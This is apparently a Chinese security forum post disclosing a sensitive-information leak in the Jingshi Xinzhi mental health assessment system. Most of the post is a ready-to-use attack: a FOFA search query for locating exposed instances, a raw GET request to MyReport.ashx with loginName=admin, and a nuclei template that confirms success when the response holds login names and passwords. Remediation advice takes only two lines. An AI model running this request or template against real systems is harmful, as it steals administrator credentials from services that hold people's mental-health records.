京师心智心理健康测评系统-存在敏感信息泄露

我是大白   ·   发表于 2024-03-19 11:59:37   ·   漏洞文章

京师心智心理健康测评系统-存在敏感信息泄露

漏洞描述

京师心智心理健康测评系统-存在敏感信息泄露

产品界面

fofa语法

body="JS/ligerComboBox/ligerTree.js"

POC

  1. GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
  2. Host:
  3. User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

nuclei验证

  1. id: jinshi-boren-read-info
  2. info:
  3. name: 京师心智心理健康测评系统-存在敏感信息泄露
  4. author: nobody
  5. severity: high
  6. description: |
  7. 京师心智心理健康测评系统-存在敏感信息泄露
  8. impact: |
  9. 攻击者可以通过访问页面,获取敏感信息。
  10. remediation: |
  11. 升级版本,非必要禁止该页面访问
  12. metadata:
  13. verified: true
  14. max-request: 3
  15. fofa-query: body="JS/ligerComboBox/ligerTree.js"
  16. tags: read-info
  17. requests:
  18. - raw:
  19. - |
  20. GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
  21. Host: {{Hostname}}
  22. User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  23. matchers:
  24. - type: dsl
  25. dsl:
  26. - status_code == 200 && contains_all(body,"_u_password","_u_loginname")

修复建议

  • 建议升级到最新版本或打补丁
  • 非必要禁止该页面访问

打赏我,让我更有动力~

1 Reply   |  Until 1个月前 | 305 View

小瑟斯
发表于 1个月前

666

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.